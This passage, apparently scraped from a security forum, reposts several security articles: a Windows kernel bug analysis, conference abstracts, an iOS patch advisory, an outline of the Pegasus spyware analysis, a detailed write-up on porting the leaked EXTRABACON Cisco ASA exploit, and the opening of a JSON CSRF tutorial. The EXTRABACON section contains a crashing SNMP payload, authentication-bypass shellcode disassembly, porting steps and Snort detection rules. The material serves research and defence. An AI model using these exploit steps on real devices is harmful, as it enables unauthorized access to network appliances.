https://www.blackhat.com/docs/us-16/materials/us-16-Wang-Pangu-9-Internals.pdf Jonathan Levin. (2013). Mac OS X and iOS Internals. New York, NY: John Wiley & Sons Amit Sing. (2007). Mac OS X Internals. New York, NY: Addison-Wesley Jailbreak Exploits – https://www.theiphonewiki.com/wiki/Jailbreak_Exploits iOS Security – iOS 9.3 or later – https://www.apple.com/business/docs/iOS_Security_Guide.pdf Compromising IDEVICES via Airdrop – https://2015.ruxcon.org.au/assets/2015/slides/ruxcon-2016-dowd.pptx Simple code injection using DYLD_INSERT_LIBRARIES environment variable –http://blog.timac.org/?p=761 App Sandboxing – https://developer.apple.com/app-sandboxing/ osx dylib injection – https://github.com/scen/osxinj Sursa: https://labs.nettitude.com/blog/what-is-the-jailbreak-for-ios-9-3-3-actually-doing-part-1/
      • 1
      • Upvote
  10. An Analysis of MS16-098 / ZDI-16-453 Published On August 25th, 2016 | By Steiner This past patch Tuesday, Microsoft released MS16-098, a patch for multiple vulnerabilities in “Kernel-Mode Drivers”. Within this patch, the vulnerability identified as CVE-2016-3308 andZDI-16-453 was addressed. This post is an analysis of this vulnerability and how it could potentially be leveraged by an attacker in the form of a Local Privilege Escalation (LPE) exploit. MS16-098 xxxInsertMenuItem Diff The vulnerability exists within the function win32k!xxxInsertMenuItem and how it handles reallocations of memory. This function is responsible for adding items to menus that are displayed to users. Menu items that are being added to a menu can be inserted either based on a position or an existing menu items identifier. This difference is explained in the documentation provided by Microsoft for the InsertMenuItem function. Additionally when a new menu is created, it has no storage for it’s menu items. It is not until an initial item is added to the menu that item storage is allocated. On Windows 7 x64, this allocation is done 8 items at a time resulting in the 2nd through the 8th item added to the menu not requiring a reallocation of space. When a 9th, 17th, etc. item is added to the menu, a reallocation is triggered in order to be able to accommodate the additional item. After this occurs, and the memory allocation is successful, win32k!xxxInsertMenuItem callswin32k!MNLookUpItem a second to get the item’s location in the newly allocated space. The vulnerability in question can be triggered when the item returned from the second invocation of win32k!MNLookUpItem does not exist in the same menu as the first. Thewin32k!MNLookUpItem function recursively searches the menu structure, it’s items and the submenus optionally associated with those items. In order to force the second call to return an item from a different menu than the first call a parameter needs to be changed between the two function call. The prototype for this function looks roughly like: PITEM MNLookUpItem(PMENU pMenu, UINT uItem, BOOL fByPosition, PMENU *pMenuOut);. The first three parameters are required, while the 4th parameter is an optional pointer to a location to store the menu object for which the item returned is associated with. Under non-exploit conditions the value of pMenu is written to pMenuOut, the change introduced in this patch checks that this is the case and exits before harm can be done to the system. In order to trigger the desirable code path, an attacker needs to create a menu along with a submenu. The submenu requires a single item with wID set to 1 for reasons outlined later. This submenu is referenced in an item that is added to the top level menu with a specific arbitrary wID. The top level menu is then populated with 7 additional items with additional unique wID values to fill it’s allocated space. To trigger the vulnerability the attacker calls theNtUserThunkedMenuItemInfo function to add a 9th item with the wID specified as the submenu. The first call to win32k!MNLookUpItem in win32k!xxxInsertMenuItemidentifies the submenu item and returns the toplevel menu in which it resides. Before the reallocation takes place, a check on the submenu item’s pItem->hbmpItem field takes place. If this field is set to HBMMENU_SYSTEM, then the value compared with wID is updated to 1. This change is leveraged by the attacker to cause the second call to win32k!MNLookUpItem to identify the submenu’s item (who’s wID was explicitly set to 1) and return the submenu instead of the original top level menu. Under exploitation conditions, the item returned by the second call to win32k!MNLookUpItem is in a different menu than what was originally assumed. This causes an out-of-bounds read to occur when a subsequent call to memmove uses pointer arithmetic to copy and overwrite a potentially excessively large block of memory. The call to memmove is roughly equivalent tomemmove(&pItem[1], pItem, &pMenu->rgItems[0] + (sizeof(ITEM) * pMenu->cItems - (QWORD)pItem). The pointer arithmetic assumes that the PITEM returned is in the array pointed to by pMenu->rgItems. Reliable exploitation of this vulnerability would require the user to be able to limit the memory passed to memmove to avoid triggering a violation by corrupting memory stored after pItem. Assuming the size of memmove were limited, and pItem were the last item in the array pointed to by pMenu->rgItems, it is feasible that an attacker could leverage the memmove operation to write up to sizeof(win32k!tagITEM) bytes (0x90 on Windows 7 SP1 x64) past the region allocated for the array. An attacker can leverage the HANDLEENTRY structs within the shared region to identify the location in Kernel memory of the win32k!tagMENU struct, however to accurately predict the parameters of the memmove call, the attacker would need to know the value of the rgItems field within this struct. A proof of concept for this vulnerability which triggers a BSOD on Windows 7 SP1 x64 can be found here. Sursa: https://warroom.securestate.com/an-analysis-of-ms16-098/
  11. Index of /materials/sg2016 Name Last modified Size Description Parent Directory - COMMSEC D1 - Michael Gianarakis - Reverse Engineering Swift Applications.pdf 2016-08-25 10:02 2.0M COMMSEC D1 - Sanoop Thomas - Halcyon IDE.pdf 2016-08-25 10:02 501K COMMSEC D1 - Sweety Chauhan - Data Driven Software Security.pdf 2016-08-25 08:39 1.4M COMMSEC D2 - Alfonso De Gregorio - A Code of Ethics for the Private Sector.pdf 2016-08-26 09:46 17M COMMSEC D2 - Florian Lukavsky - Fake Presidents Fraud Defrauded.pdf 2016-08-26 09:37 1.5M COMMSEC D2 - Tan Kean Siong - IoT Honeypots.pdf 2016-08-26 10:57 5.0M COMMSEC D2 - Vanessa Henderson - Copy-paste Vulnerabilities.pdf 2016-08-26 08:26 327K D1 - Adam Donenfeld and Yaniv Mordekhay - Stumping The Mobile Chipset.pdf 2016-08-26 05:30 4.1M D1 - Bernhard Mueller - Attacking Software Tokens.pdf 2016-08-25 08:30 44M D1 - Jonathan Levin - The Apple Sandbox - Deeper into the Quagmire.pdf 2016-08-25 10:05 1.8M D1 - Moonbeom Park and Youngjun Park - Understanding Your Opponent Attack Profiling.pdf 2016-08-25 07:45 1.5M D1 - Nguyen Anh Quynh - Keystone - A Next Generation Assembler Framework.pdf 2016-08-25 11:28 1.8M D1 - Olga Kochetova and Alexey Osipov - ATMs and Their Dirty Little Secrets.pdf 2016-08-25 12:02 1.9M D1 - Peter Pi - Attacking NVIDIA's Tegra Platform.pdf 2016-08-25 07:48 726K D2 - Koh Yong Chuan - Fuzzing the Windows Kernel.pdf 2016-08-26 05:18 2.0M D2 - Matteo Beccaro and Matteo Collura - Abusing Smart Cities.pdf 2016-08-26 06:16 19M D2 - Moritz Jodeit -Look Mom I Don't Use Shellcode.pdf 2016-08-26 11:11 2.0M D2 - Shlomi Oberman and Ron Shina - Breaking Exploits with Practical Control Flow Integrity.pdf 2016-08-26 08:39 3.8M D2 - Stefan Esser - iOS 10 Kernel Heap Revisited.pdf 2016-08-26 10:57 3.6M KEYNOTE 1 - Erin Jacobs - I Fight For the Users .pdf 2016-08-25 03:50 61M KEYNOTE 2 - Katie Moussouris - Hacking the Pentagon - Bounty Creation Lessons - NO SLIDES.pdf 2016-08-26 05:20 0 whitepapers/ 2016-08-26 11:11 - Link: http://gsec.hitb.org/materials/sg2016/
      • 1
      • Upvote
  12. Behind the Scenes of iOS Security Publicat pe 16 aug. 2016 by Ivan Krstic With over a billion active devices and in-depth security protections spanning every layer from silicon to software, Apple works to advance the state of the art in mobile security with every release of iOS. We will discuss three iOS security mechanisms in unprecedented technical detail, offering the first public discussion of one of them new to iOS 10. HomeKit, Auto Unlock and iCloud Keychain are three Apple technologies that handle exceptionally sensitive user data – controlling devices (including locks) in the user's home, the ability to unlock a user's Mac from an Apple Watch, and the user's passwords and credit card information, respectively. We will discuss the cryptographic design and implementation of our novel secure synchronization fabric which moves confidential data between devices without exposing it to Apple, while affording the user the ability to recover data in case of device loss. Data Protection is the cryptographic system protecting user data on all iOS devices. We will discuss the Secure Enclave Processor present in iPhone 5S and later devices and explain how it enabled a new approach to Data Protection key derivation and brute force rate limiting within a small TCB, making no intermediate or derived keys available to the normal Application Processor. Traditional browser-based vulnerabilities are becoming harder to exploit due to increasingly sophisticated mitigation techniques. We will discuss a unique JIT hardening mechanism in iOS 10 that makes the iOS Safari JIT a more difficult target.
  13. Certificate Bypass: Hiding and Executing Malware from a Digitally Signed Executable Publicat pe 16 aug. 2016 by Tom Nipravsky Malware developers are constantly looking for new ways to evade the detection and prevention capabilities of security solutions. In recent years, we have seen many different tools, such as packers and new encryption techniques, help malware reach this goal of hiding the malicious code. If the security solution cannot unpack the compressed or encrypted malicious content (or at least unpack it dynamically), then the security solution will not be able to identify that it is facing malware. To further complicate the matter, we present a new technique for hiding malware (encrypted and unencrypted) inside a digitally signed file (while still keeping the file with a valid certificate) and executing it from the memory, using a benign executable (which acts as a reflective EXE loader, written from scratch). Our research demonstrates our Certificate Bypass tool and the Reflective EXE Loader. During the presentation, we will focus on the research we conducted on the PE file structure. We will take a closer look at the certificate table and how we can inject data to the table without damaging the certificate itself (the file will still look and be treated as a valid digitally signed file). We will examine the tool we wrote to execute PE files from memory (without writing them to the disk). We will cover the relevant fields in the PE structure, as well as the steps required to run a PE file directly from the memory without requiring any files on disk. Last, we will conclude the demonstration with a live example and show how we bypass security solutions based on the way they look at the certificate table.
  14. HEIST: HTTP Encrypted Information can be Stolen Through TCP-Windows Publicat pe 16 aug. 2016 by Tom Van Goethem & Mathy Vanhoef Over the last few years, a worryingly number of attacks against SSL/TLS and other secure channels have been discovered. Fortunately, at least from a defenders perspective, these attacks require an adversary capable of observing or manipulating network traffic. This prevented a wide and easy exploitation of these vulnerabilities. In contrast, we introduce HEIST, a set of techniques that allows us to carry out attacks against SSL/TLS purely in the browser. More generally, and surprisingly, with HEIST it becomes possible to exploit certain flaws in network protocols without having to sniff actual traffic. HEIST abuses weaknesses and subtleties in the browser, and the underlying HTTP, SSL/TLS, and TCP layers. Most importantly, we discover a side-channel attack that leaks the exact size of any cross-origin response. This side-channel abuses the way responses are sent at the TCP level. Combined with the fact that SSL/TLS lacks length-hiding capabilities, HEIST can directly infer the length of the plaintext message. Concretely, this means that compression-based attacks such as CRIME and BREACH can now be performed purely in the browser, by any malicious website or script, without requiring network access. Moreover, we also show that our length-exposing attacks can be used to obtain sensitive information from unwitting victims by abusing services on popular websites. Finally, we explore the reach and feasibility of exploiting HEIST. We show that attacks can be performed on virtually every web service, even when HTTP/2 is used. In fact, HTTP/2 allows for more damaging attack techniques, further increasing the impact of HEIST. In short, HEIST is a set of novel attack techniques that brings network-level attacks to the browser, posing an imminent threat to our online security and privacy.
  15. Technical Analysis of Pegasus Spyware An Investigation Into Highly Sophisticated Espionage Software Contents Executive Summary Background Disclosure Timeline Attack Overview Professional Grade Development Evolution of Software The Trident Vulnerabilities CVE-2016-4655: Memory Corruption in Safari Webkit CVE-2016-4656: Kernel Information Leak Circumvents KASLR CVE-2016-4657: Memory Corruption in Kernel leads to Jailbreak Jailbreak Persistence Spyware Analysis Installation and Persistence Persistence: JSC Privilege Escalation Disabling Updates Jailbreak Detection Device Monitoring Stealth Update to Command & Control Infrastructure Self Destruction Data Gathering Calendar Contacts GPS location Capturing User Passwords WiFi and Router Passwords Interception of Calls and Messages Process Injection: converter Skype Telegram WhatsApp Viber Real-Time Espionage Conclusion Download: https://info.lookout.com/rs/051-ESQ-475/images/lookout-pegasus-technical-analysis.pdf
  16. Apple iOS users, update now – zero-day attack seen in the wild 26 AUG 2016 0Apple, iOS, Vulnerability Previous: Anatomy of a cryptographic collision – the “Sweet32” attack by Paul Ducklin Apple just released iOS 9.3.5, the latest security update for iDevice users. We suggest you apply this update as soon as you can, and here’s why. According to Apple’s security bulletin, it fixes three security holes along these lines: WebKit bug: visiting a maliciously crafted website may lead to arbitrary code execution. Kernel bug: an application may be able to disclose kernel memory. Kernel bug: an application may be able to execute arbitrary code with kernel privileges. You can imagine how these three vulnerabilities could be combined into a serious exploit, where visiting a booby-trapped website might not only infect you with user-level malware, but also go on from there to promote itself to gain kernel-level superpowers. The security built into iOS does a great job of keeping apps apart, so user-level malware is limited in what it can do: if you have a rogue GPS app, for example, it shouldn’t be able to reach across to your authenticator app and steal its cryptographic secrets. Nevertheless, a rogue GPS app would be bad enough on its own, as it could keep track of you when you weren’t expecting it. But if that rogue GPS app could also sneak itself into the iOS kernel, where the security checks and balances that keep apps apart are managed, then you’d have a lot more to worry about. Loosely speaking, malware than could arrive just by clicking a web link and then boost itself automatically to kernel level would effectively be a “one-click jailbreak.” A jailbreak is where you sneakily bypass the very security controls that are supposed to stop you bypassing the security controls, so you no longer have to play by Apple’s security rules. Notably, you are no longer restricted to the App Store, so you can follow up a jailbreak by installing whatever software you like. Well, reports suggest that just such a one-click jailbreak has been reported in the wild: Gizmodoclaims that the attack was created by an Israeli company called NSO Group that sells exploits and hacking services. Ironically, iOS 9.3.4 came out just three weeks ago, and that update also seems to have been hurried out to close a hole that was ostensibly being used for jailbreaking. Interestingly, another exploit-gathering company, Zerodium, last year famously offered up to $3,000,000 in bounty money for a trifecta of iOS “click-to-own” bugs, as they’re often called, and later claimed that just before the bounty expired, they’d received a bug submission that could be used for jailbreaking. Did that bug exist, and was it one of the three that were patched in the latest 9.3.5 update? We don’t know, but whether it was or wasn’t, you should get yourself the latest patches right away. Go to Settings | General | Software Update and see what version you’re on right now. Annoyingly, even though the update is just 39.5MB, you have to update via Wi-Fi. As usual, no updates are allowed via the mobile network. For urgent updates of this sort, it really would be handy for Apple to relax that restriction, especially when you think that you could just stick your SIM card in another phone, turn it into an access point, and update using the mobile network as your carrier anyway. Follow @NakedSecurity Follow @duckblog Sursa: https://nakedsecurity.sophos.com/2016/08/26/apple-ios-users-update-now-zero-day-attack-seen-in-the-wild/
  17. Bake your own EXTRABACON August 25, 2016 In the last couple of days we took a closer look at the supposed NSA exploit EXTRABACON, leaked by Shadow Brokers. As an initial analysis of XORcat concluded, the code is capable of bypassing authentication of Cisco ASA devices after exploiting a memory corruption vulnerability in the SNMP service. We managed analyze and test the code in our lab and even add support for version 9.2(4) (that created quite bit of a hype :). While we don’t plan to release the upgraded code until an official patch is available for all affected versions, in this post we try to give a detailed description of the porting process: what the prerequisites are and how much effort is required to extend its capabilities. We also hope that this summary will serve as a good resource for those who want to get started with researching Cisco ASA. Meet Cisco ASA Cisco Adaptive Security Appliance (ASA) is a widely adopted network security appliance that – besides standard packet filtering capabilities –, also provides a portfolio of “smart”, application level features such as L7 protocol inspection or VPN. Presumably this complex feature set was one of the motivators for Cisco to choose 32-bit x86 CPUs for their implementation. According to the vendor homepage there are more than 1 million devices deployed around the world. The wide deployment, well understood architecture and the complex (thus likely bug rich) feature set makes Cisco ASA a hacker’s wet dream. It’s no surprise that several teams have done extensive research on the platform – among these the recent work of Exodus Intelligence and Alec Stuart’s Breaking Bricks presentation were the most inspirational for us, we highly recommend to take a good look at these before moving on! The test lab To start up with ASA it’s best to have some actual hardware. Fortunately ASA 5505 boxes can be found relatively cheaply on online auction sites. The different appliance versions have different size of internal persistent storage that limits the size of the firmware that can be uploaded, but the one available in 5505 is enough to test the 9.2 line that we are mostly interested in right now. When your little greenish(?) friend arrives you’ll probably won’t have a clue about its configuration so you should establish a serial connection that gives you opportunity to reset the configuration and access the console without a password. For this you’ll need a Cisco console cable (RJ45-to-DB9), and an RS232-USB converter – all available on your favorite online shop. With these you can connect the Console port of the device to the USB port on your workstation. On Linux you can use minicom to connect to the console, connection parameters are: 9600 baud Parity: 8N1 After you’re connected you can check the firmware version and configure the device. For our purposes it’s important to configure your interfaces for IP networking, enable SSH and SNMP (don’t forget to enable traffic in the access-list!) – you should consult the official Cisco documentation about how to do this. To install new firmware, you first need the matching firmware binary. Several versions can be found on the Internet with some smart googling, the name of the image file for version 9.2(4) is asa924-k8.bin. New firmware can be uploaded to the internal flash memory of the device via SCP: scp asa924-k8.bin admin@192.168.5.1:/asa924-k8.bin The boot order can then be configured according to this manual. With the preferred firmware version and the serial connection you can already verify the memory corruption exploited by EXTRABACON by sending a long SNMP OID like: 1.3.6.1.4.1.9.9.491.1.3.3.1.1.5.9.95.184.16.204.71.173.53.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144 This will likely result in an access violation that results in some basic debug information dumped on the serial console. This is nice, but you probably want to interactively debug your nice new target, let’s see how! Remote debugging To configure remote debugging we followed the guidelines of Alec Stuart (see the link above), here we now just give a quick overview of the process. ASA runs a Linux-like operating system where a large monolithic ELF binary called lina is responsible for handling (almost) all data coming through in task specific threads. The firmware image contains the root file system with all binaries and configuration files – you can extract this with binwalk: $ binwalk -e asa924-k8.bin DECIMAL HEX DESCRIPTION ------------------------------------------------------------------------------------------------------------------- 514 0x202 LZMA compressed data, properties: 0x64, dictionary size: 2097152 bytes, uncompressed size: 1048576 bytes 144510 0x2347E gzip compressed data, from Unix, last modified: Wed Jul 15 06:53:23 2015, max compression 1500012 0x16E36C ELF 1501296 0x16E870 gzip compressed data, was "rootfs.img", from Unix, last modified: Wed Jul 15 07:19:52 2015 28192154 0x1AE2D9A Zip archive data, at least v2.0 to extract, name: "com/cisco/webvpn/csvrjavaloader64.dll" 28773362 0x1B70BF2 Zip archive data, at least v2.0 to extract, name: "AliasHandlerWrapper-win64.dll" The rootfs.img file starts from offset 0x16E36C (in this case) in gzipped form, the file itself is a CPIO archive that you can extract with the standard command line tool. The/asa/scripts/rcS file is responsible for starting up lina during init. This file conveniently contains a commented line that passes command line arguments for thelina_monitor executable so it’ll start up with a GDB server enabled: # Use -g to have system await gdb connect during boot. #echo "/asa/bin/lina_monitor -l -g -d" >> /tmp/run_cmd We modified the repack.sh script demonstrated by Alec to: Automatically find and carve out rootfs.img from the firmware image Unpack it Replace rcS so it’ll start up lina in debug mode Repack the rootfs Put the new rootfs archive back into the firmware binary using dd After replacing the original firmware image on the device lina will wait for GDB attach during startup: Process /asa/bin/lina created; pid = 518 Remote debugging using /dev/ttyS0 To continue execution, fire up GDB as root, and attach to the target over serial: (gdb) target remote /dev/ttyUSB0 Now you can interactively debug your device. And the good news is: this was the hard part Bacon and eggs When we started dealing with EXTRABACON our main question was how hard it could be to add support to newer firmware versions. For this reason we took a “hacky” approach and looked for the easiest way to approach the problem, without caring too much about Cisco internals or other in depth details. First let’s take a look at the directory structure: . ├── extrabacon_1.1.0.1.py ├── Mexeggs │ ├── all.py │ ├── argparse.py │ ├── hexdump.py │ ├── __init__.py │ ├── loglib.py │ ├── log.py │ ├── sploit.py │ └── version.py ├── scapy ... └── versions ├── shellcode_asa802.py ... └── shellcode_asa844.py As we can see, shellcode for different firmware versions are stored separately in the versions/ directory, the main exploit code in a single Python file,extrabacon_1.1.0.1.py. This indicates modular design and version control, one Little Sunshine for the authors! Mexeggs is a “mini-framework” for the exploit: it defines standard interfaces for the implementation and handles common tasks like argument parsing and logging (The default log directory is D:\DSZOPSDisk\logs, the logs are stored under the directory codenamed "concernedparent"). This enforces self-documentation and facilitates integration with other tools, another Little Sunshine. Because of modularity the main exploit script only concerns us as long as we fix up version detection in the Extrabacon.fw_version_check() function – many draw conclusions about code quality because of the longer elif statement structure here, but I’m perfectly fine with adding just two lines (that I can basically copy-paste) to the source without figuring out some clever solutionTM. Let’s take a look at the shellcode scripts! To have a sense about how much work is ahead, one can just do a byte-by-byte diff on the files, here’s a capture between 8.0(2) and 8.4(4), the first and last supported versions: What we can see is that the shellcode is mostly the same for both versions, there are only some 2-4 bytes differences (some addresses/offsets maybe? :). There is a clear difference in the my_ret_addr values in every version, but anyone who ever done this kind of exploitation would be really happy to see a variable name (and value) like this: After added the two lines for version detection we copied one of the original shellcode files with the name shellcode_asa924.py to the versions directory and defined the usual 0x41414141 value as my_ret_addr. After launching the exploit, we were awarded with a nice little SIGSEGV: Program received signal SIGSEGV, Segmentation fault. [Switching to Thread 523] 0x41414141 in ?? () (gdb) info reg eax 0x0 0 ecx 0xcbd65a48 -875144632 edx 0x0 0 ebx 0x90909090 -1869574000 esp 0xccb980e0 0xccb980e0 ebp 0x90909090 0x90909090 esi 0x90909090 -1869574000 edi 0x90909090 -1869574000 eip 0x41414141 0x41414141 eflags 0x213246 [ PF ZF IF #12 #13 RF ID ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb) As we can see, this is a clear instruction pointer overwrite, the NOPed register values also suggest that we are facing a classic stack-based buffer overflow. Before you ask: no, Cisco didn’t employ any kind of exploit mitigation, we don’t have to come around stack canaries, and the memory layout of the system is the same on every instance with identical firmware versions, so we can party like in the ’90s! After a quick inspection of the memory it’s clear that other parts of the shellcode are present on the stack, and like in a textbook example ESP points right to the second fragment in the script called finder – the disassembly of this stage can be read below: $ rasm2 -d "\x8b\x7c\x24\x14\x8b\x07\xff\xe0\x90" mov edi, dword [esp + 0x14] mov eax, dword [edi] jmp eax nop This simple code dereferences a pointer on the stack twice to transfer execution for the second stage. This code could be reused without modification and was 100% reliable during our tests, we only had to set my_ret_addr to a fixed address pointing to a jmp espinstruction in the 9.2(4) lina binary. The second stage called preamble is also pretty simple: mov eax, 0xad47cc10 xor eax, 0xa5a5a5a5 ; EAX=8E269B5 sub esp, 4 mov dword [esp], eax mov ebp, esp add ebp, 0x48 xor eax, eax xor ebx, ebx mov bl, 0x10 xor esi, esi mov edi, 0xaaaaaaae xor edi, 0xa5a5a5a5 ; EDI=F0F0F0B push al This code fixes the corrupted stack frame (Little Sunshine for the tidy room!) and pushes some constants (one of them looks like a code pointer…) on the stack – more about these later. After this, launcher is executed: mov eax, dword [esp + 0x1e8] add al, 1 call eax This little one reads a pointer from the stack, adjusts it a bit then calls the resulting address. Since we didn’t know what kind of pointer we were looking for we uploaded old firmware matching one of the supported versions to our device and modified the corresponding shellcode fragments to start with the 0xCC opcode (INT 3) that triggers a memory dump (we were too lazy to patch this firmware too for remote debugging…). This way we could find out that the address launcher is looking for is pointing to our first actual payload PMCHECK_disable. The launcher didn’t work out-of-the-box, so we started to search the memory around ESP to find signs of the payload. For this we initially used the 0xa5a5a5a5 pattern that is used in numerous places as an XOR mask, then narrowed the search with longer patterns. After we found the start of the payload, we looked for values on the stack pointing close to it. Finally were able to make this stage work too with someminor modifications on the included offsets. The payload actually consists of two parts, PMCHECK_disable and AAAADMINAUTH_disablewhich work in a really similar fashion, so we’ll now just discuss the first one of these: mov edi, 0xa5a5a5a5 mov eax, 0xa5a5a5d8 xor eax, edi ; EAX=7D mov ebx, 0xacf065a5 xor ebx, edi ; EBX=955C000 mov ecx, 0xa5a5b5a5 xor ecx, edi ; ECX=1000 mov edx, 0xa5a5a5a2 xor edx, edi ; EDX=7 int 0x80 ; SYSCALL jmp 0x39 mov edi, 0x955c9f0 ; ADDRESS TO PATCH xor ecx, ecx mov cl, 4 cld rep movsb byte es:[edi], byte ptr [esi] ; BUFFER COPY jmp 0x42 pop esi jmp 0x25 call 0x36 xor eax, eax ; PATCH CODE inc eax ret The first part again unmasks some constant values then triggers a syscall. The syscall identifier is in EAX by convention, so what we’re basically doing is: sys_mprotect(start=0x955C000, len=0x1000, prot=0x7) …effectively setting a memory page containing 0x955c9f0 writable. Fortunately the corresponding firmware is also publicly available, after extraction and disassembly it’s clear that this address is the entry point of a function that is (surprise!) responsible for an authentication check. The end of the shellcode (“always return 1″) is then copied to this address with the rep movsb instruction, finally the shellcode forwards the execution to the AAAADMINAUTH_disable payload part, that does exactly the same with the AAA API of the firmware. This way critical authentication checks will always return SUCCESS, resulting in an authentication bypass. Please note that we’re now having arbitrary code execution, so this patchwork is just one of the possible things we could do. Unfortunately, performing networking from shellcode on ASA is not trivial (see the XI post for details), so this solution seems reasonable, one that is both compact and easy to adopt to new targets. We adopted this code by looking up the patched functions in the newer firmware. Although subgraph isomorphism is a hard problem, in practice (close to) identical code parts could be identified based on debug strings (there are a lot of these in the linabinary) and “unique looking” code patterns (we admit that for this second part you need some intuition and luck). In IDA the matching functions are visually very similar, it’s easy to recognize them once they are found. And once again, the great thing about the payload is that after the matching entry points are found, we only have to modify 2 constants, and we’re done. Or are we? Although at this point we’ve successfully executed our payload, and authentication is disabled, we can’t login to a device that has crashed because we started to execute some garbage from the stack (which is executable, if it wasn’t obvious until now :). Remember the constant that looked like a code pointer in the preamble? Well, this is exactly the address where our almost ready exploit crashes the target. If we take a look at the disassembly in the “old” lina, we can see, that this is an address right after a function call, possibly a call to a function, where the corruption occurred and after which we’d like to continue execution like nothing have happened. The process here was the same: look up the same function in the new binary, patch the constant address in the preamble, and our exploit works as expected. Summary All in all, to support a new version one has to: Find a JMP ESP address Fix up stack offsets Fix two hardcoded function entry addresses Fix the hardcoded return address Steps 1., 3. and 4. can be performed automatically via static analysis. In our case step 2. required some debugging, but with some better understanding of the code it really seems plausible to fully automate the process of shellcode generation. In fact, leaked shellcode files start with this comment: # # this file autogenerated, do not touch # It’s also important to note that we created the new exploit version without detailed root cause analysis, special tools or source code, based just on the information available in the leaked code and obtained through debugging and simple static binary analysis. Little Sunshine. Future work As we encounter ASA devices regularly during our pentest projects we want to continue the work to add support for as many affected versions as possible. For this we plan to automate most of the process of shellcode generation that looks like an exciting task. It’s also important to perform extensive reliability tests, because we don’t want to risk crashing the equipment of our customers. Although the original exploit is very reliable, the described process seems to introduce some uncertainty that is yet to be resolved. Detection, mitigation, solution? Cisco released a detailed blog post and security advisory about the vulnerability exploited by EXTRABACON confirming that all supported versions are vulnerable. As of the time of writing no patch is available, as Workaround the vendor recommends to restrict access to the SNMP interface and set up hard to guess community strings. Two notes on these workarounds: SNMP is a UDP based protocol that allows trivial source address spoofing. You should keep this in mind when designing/reviewing network level workarounds. Community strings are transferred in plain text on the network. We don’t expect the common community strings (like public) to go away any time soon. There are also Snort rules available, from which I could access the one from Emerging Threats (thanks Mario): alert udp any any -> any 161 (msg:"ET EXPLOIT Equation Group ExtraBacon Cisco ASA PMCHECK Disable"; content:"|bf a5 a5 a5 a5 b8 d8 a5 a5 a5 31 f8 bb a5|"; content:"|ac 31 fb b9 a5 b5 a5 a5 31 f9 ba a2 a5 a5 a5 31 fa cd 80 eb 14 bf|"; distance:2; within:22; content:"|31 c9 b1 04 fc f3 a4 e9 0c 00 00 00 5e eb ec e8 f8 ff ff ff 31 c0 40 c3|"; distance:4; within:24; reference:url,xorcatt.wordpress.com/2016/08/16/equationgroup-tool-leak-extrabacon-demo/; classtype:attempted-admin; sid:2023070; rev:1;) alert udp any any -> any 161 (msg:"ET EXPLOIT Equation Group ExtraBacon Cisco ASA AAAADMINAUTH Disable"; content:"|bf a5 a5 a5 a5 b8 d8 a5 a5 a5 31 f8 bb a5|"; content:"|ad 31 fb b9 a5 b5 a5 a5 31 f9 ba a2 a5 a5 a5 31 fa cd 80 eb 14 bf|"; distance:2; within:22; content:"|31 c9 b1 04 fc f3 a4 e9 0c 00 00 00 5e eb ec e8 f8 ff ff ff 31 c0 40 c3|"; distance:4; within:24; reference:url,xorcatt.wordpress.com/2016/08/16/equationgroup-tool-leak-extrabacon-demo/; classtype:attempted-admin; sid:2023071; rev:1;) (If you have access to the rules released by Cisco or other IDS/IPS signatures, please contact us!) This is clearly an attempt to catch one of the payloads by matching a signature, which can be trivially bypassed by changing the XOR mask, or change the sequence of some instructions (just to name a few methods). From forensics perspective, the "return 1" patches are clear indicators of compromise (the corresponding memory addresses can be extracted from the leaked files), although we have to stress that the known payloads are just some of the infinite possible ones. Before the publishing this post Cisco started to roll out patches for certain firmware versions – be sure to test and apply these on your equipment to thwart the attacks based on EXTRABACON! As the vendor started to systematically eradicate vulnerabilities, we expect the latest patches to include more than just this fix, that’d be an effort to be appreciated. However, in the long term up-to-date exploit mitigation techniques should be applied on ASA (and other) software to provide scalable protection for the platform, killing entire vulnerability classes and raising attacker cost. We’ll update this post as new relevant information emerges. Sursa: https://blog.silentsignal.eu/2016/08/25/bake-your-own-extrabacon/
      • 2
      • Upvote
  18. Posting JSON with an HTML Form 24 Aug 2016 in Security Tags: Hacks, Web Security A coworker and I were looking at an application today that, like so many other modern web applications, offers a RESTful API with JSON being used for serialization of requests/responses. She noted that the application didn’t include any sort of CSRF token and didn’t seem to use any of the headers (X-Requested-With, Referer, Origin, etc.) as a “poor man’s CSRF token”, but since it was posting JSON, was it really vulnerable to CSRF? Yes, yes, definitely yes! The idea that the use of a particular encoding is a security boundary is, at worst, a completely wrong notion of security, and at best, a stopgap until W3C, browser vendors, or a clever attacker gets hold of your API. Let’s examine JSON encoding as a protection against CSRF and demonstrate a mini-PoC. The Application We have a basic application written in Go. Authentication checking is elided for post size, but this is not just an unauthenticated endpoint. package main import ( "encoding/json" "fmt" "net/http" ) type Secrets struct { Secret int } var storage Secrets func handler(w http.ResponseWriter, r *http.Request) { if r.Method == "POST" { json.NewDecoder(r.Body).Decode(&storage) } fmt.Fprintf(w, "The secret is %d", storage.Secret) } func main() { http.HandleFunc("/", handler) http.ListenAndServe(":8080", nil) } As you can see, it basically serves a secret number that can be updated via HTTP POST of a JSON object. If we attempt a URL-encoded or multipart POST, the JSON decoding fails miserably and the secret remains unchanged. We must POST JSON in order to get the secret value changed. Exploring Options So let’s explore our options here. The site can locally use AJAX via the XMLHTTPRequest API, but due to the Same-Origin Policy, an attacker’s site cannot use this. For most CSRF, the way to get around this is plain HTML forms, since form submission is not subject to the Same-Origin Policy. The W3C had a draft specification for JSON forms, but that has been abandoned since late 2015, and isn’t supported in any browsers. There are probably some techniques that can make use of Flash or other browser plugins (aren’t there always?) but it can even be done with basic forms, it just takes a little work. JSON in Forms Normally, if we try to POST JSON as, say, a form value, it ends up being URL encoded, not to mention including the field name. <form method='POST'> <input name='json' value='{"foo": "bar"}'> <input type='submit'> </form> Results in a POST body of: json=%7B%22foo%22%3A+%22bar%22%7D Good luck decoding that as JSON! Doing it as the form field name doesn’t get any better. %7B%22foo%22%3A+%22bar%22%7D=value It turns out you can set the enctype of your form to text/plain and avoid the URL encoding on the form data. At this point, you’ll get something like: json={"foo": "bar"} Unfortunately, we still have to contend with the form field name and the separator (=). This is a simple matter of splitting our payload across both the field name and value, and sticking the 